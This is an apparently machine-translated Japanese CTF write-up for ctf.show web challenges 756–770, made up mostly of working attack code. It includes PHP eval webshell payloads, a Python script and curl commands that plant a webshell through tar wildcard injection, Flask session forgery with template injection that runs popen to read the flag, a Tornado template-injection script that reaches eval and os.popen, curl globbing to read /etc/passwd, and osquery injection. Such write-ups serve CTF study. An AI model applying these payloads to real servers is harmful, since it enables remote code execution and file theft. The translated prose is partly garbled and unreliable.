トピックがたくさんあるので、比較的簡潔に書かれているところも多いので、ご主人様にご理解いただければ幸いです。。
記事ディレクトリ
web756
code=GLOBALS
web757
各着信キーの最初の7文字をアップロードして返す必要があります。また、substr(md5($value),5,4)==0)
すべてのmd5が文字で始まるとは限らないため、数回テストし、指定されたキーの直後に文字を追加する必要があります。
import requests
url="http://5a0b2552-05b1-4ca3-bf1f-9cf7ea54b0a5.challenge.ctf.show/"
key='ctfshow'
sess=requests.session()
for i in range(0,10):
t=''
while True:
data={
'code':key}
r=sess.post(url,data=data)
if(len(r.text)!=0):
key=r.text
#print(key)
break
else:
t=t+'1'
key=key+t
print(key)
web758
web689と同じ
?file=a.php&url=http://127.0.0.1/?file=<?php eval($_POST[1])?>%26url=http://127.0.0.1/
web759
科学的記数法のバイパス比較
00切り捨てバイパス判断文字列
value=9e13%00%23ctfshow%23
web760
データとphp://inputプロトコルの両方を渡すことができます
GET:
^.^=php://input
POST:
(●'◡'●)
GET:
^.^=data://text/plain,(●'◡'●)
或者
^.^=data:,(●'◡'●)
web761
<?php
for ($i=0; $i < 9999999999; $i++) {
if('0e'.$i==md5('0e'.$i)){
echo $i;
}
}
web762
chrは自動的に256を法として、元の値に256の倍数を追加できます(ユーザー名を投稿しないように注意してください。投稿しないと、毎回リセットされます)
c="ctfshow"
for i in c:
print('value[]='+str(ord(i)+256)+'&',end='')
<?php
for ($i=0; $i < 9999; $i++) {
if(md5($i)>0x1AAF22BB){
print($i);
break;
}
}
//25
password=25&value[]=355&value[]=372&value[]=358&value[]=371&value[]=360&value[]=367&value[]=375
web763
ペイロード.txt
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>2.\\
>\>\\
>-d\\
>\%09\\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>\ \\
>o\\
>ch\\
>e\\
sh 0
sh f
exp.py
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import urllib.parse
url = "http://35ca0584-b4b6-40d9-ac96-f679e4641ac5.challenge.ctf.show/index.php?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(urllib.parse.unquote(i.strip())))
このローカルテストは確かに可能ですが、この質問はあまりにも嫌で、サンドボックスのディレクトリが見つかりません。後の文で172のIPであることがわかります。。。。
#shell.bash
a="http://9fd8a2e5-3cb8-44a4-b173-8d787d561707.challenge.ctf.show/"
curl "$a?cmd=>tar"
curl "$a?cmd=>vcf"
curl "$a?cmd=>z"
curl -F file=@shell.php -X POST "$a?cmd=*%20/t*"
curl "$a?cmd=php%20z"
//shell.php
<?php file_put_contents("/var/www/html/1.php","<?php eval(\$_POST[1]);?>");?>
このbash
* /t*
を実行することは、パッケージ化されたファイルをzファイルに実行することと同じtar cvf z ../t*
であり、/ t *には、アップロードされた一時ファイルである/ tmp/phpxxxxxxが確実に含まれます。
このようにして、test.phpのコンテンツがzに含まれ、最後にファイルがphpを介して実行されます。
最後に、フラグがデータベースにあります。。。。アリの剣を使ってデータベースに接続すれば、それを手に入れることができます。
web764
バイパスする最初の場所
$login['cookie'] != @md5($_SESSION['flag'])
セッションは初期化以来フラグ値を設定していないため、空であることに相当し、md5('');
(d41d8cd98f00b204e9800998ecf8427e)に相当します。
したがって$id[cookie]=d41d8cd98f00b204e9800998ecf8427e
、背後にある問題は疑似乱数です。
シードは固定されているため、後で生成される値も固定されます。
$a=md5('');
echo $a;
echo "\n";
mt_srand(substr($a,17,7));
echo mt_rand(); //flag文件名
echo "\n";
mt_srand(mt_rand()); //第二次种子生成
echo mt_rand(); //post key的内容
echo "\n";
echo mt_rand(); //$随机数的值为flag的文件名,也就是 $xxx=filename
?id[cookie]=d41d8cd98f00b204e9800998ecf8427e
key=954576979&1277894509=filename
web765
ファイルは任意に読み取ることができます。最初にソースコードを読み取ります。/article?name=../app.py
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
from flag import ctfshowflag as FLAG
from key import key
app = Flask(__name__)
#FLAG = flag
app.secret_key = key
@app.route("/page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
code = request.form.get("code") or None
if code is not None:
code = code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "code" not in session or session['code'] is None:
session['code'] = code
template = None
if session['code'] is not None:
template = '''
<h1>Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>
''' % session['code']
session['code'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('./articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False,port = 80)
コードをざっと見ると、テンプレートインジェクションの脆弱性の可能性が明らかになります。重要なのは
、セッションにコードがある場合は、これをテンプレートコンテンツ出力として使用し、そうでない場合は、入力したコードを使用することです。
したがって、次に行う必要があるのは、Cookieを偽造することです。
通常、secret_keyは環境変数に存在するため、環境変数の内容を直接読み取ってください。
article?name=../../proc/self/environ
フラスコ_session_cookie_managerツールの暗号化を介してキーを取得できませんctfshowsecretkeyhereyouneverknow
でした。キーが間違っていると推測し、コードを注意深く観察して、キーが次のようにfrom key import key
なっていることを確認してください。おそらくkey.pyファイルがあります。それを読んで
?name=../key.py
本当の鍵を手に入れてctfshow_real_secret_key_is_here
ください。残っているのはテンプレートインジェクションだけです。
flagはflag.pyにある必要があります。
python3 flask_session_cookie_manager3.py encode -s "ctfshow_real_secret_key_is_here" -t '{"code":"{
{config.__class__.__init__.__globals__[\"os\"].popen(\"cat flag.py\").read()}}"}'
web766
web767
日付はhを時間としてフォーマットするので、エスケープしてください。
date=1.p\hp&cmd=<?php eval($_POST[1]);phpinfo();?>
web768
この質問はSQLインジェクションとはあまり関係がありません。
次のメインクエリはこのドキュメントに基づいています
https://osquery.io/schema/5.0.1/
。ファイルテーブルがあります。
このテーブルを使用して、特定のディレクトリ内のファイルを表示できます
query=1';select * from file where directory ='/';--+
。ディレクトリ内のflagsとreadflagsですが、フラグのアクセス許可を直接読み取ることはできません。
したがって、readflagを実行するにはコマンドを実行する必要があります。
次に、rceを支援する他のサービスがあるかどうかを確認します。
残りの能力は限られています。次のwp(orz)を参照してください。
https://github.com/Nu1LCTF/n1ctf-2021/tree/main/Web/QQQueryyy_all_the_things
https://harold.kim/blog/2021/11/n1ctf-writeup/
https://blog.csdn.net/anwen12/article/details/121506276
web769
カールで
curl 'fi[k-n]e:///etc/passwd'
相当于
curl 'fike:///etc/passwd'
curl 'file:///etc/passwd'
curl 'fine:///etc/passwd'
curl 'fi{a,b}e:///etc/passwd'
相当于
curl 'fiae:///etc/passwd'
curl 'fibe:///etc/passwd'
url=fi[k-n]e:///var/www/htm[k-n]/f[k-n]a[f-h].php
web770
竜巻テンプレートインジェクション
予期しないソリューション
data={%25 extends "/flag" %25}
import requests
payload="""{
{% raw "{}"
_tt_utf8 = handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'+'al']%}}{
{% raw 1
_tt_utf8 = lambda x:x
%}}
""".format(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('cat /flag').read()"]))
res = requests.post("http://42d49d2e-12f3-49c1-8f31-1756c3e81f6d.challenge.ctf.show/",data={
'data':payload})
print(res.text)
竜巻のテンプレート注入を研究する時間があるときに、最初に穴を掘り、次に記事を書きます。。。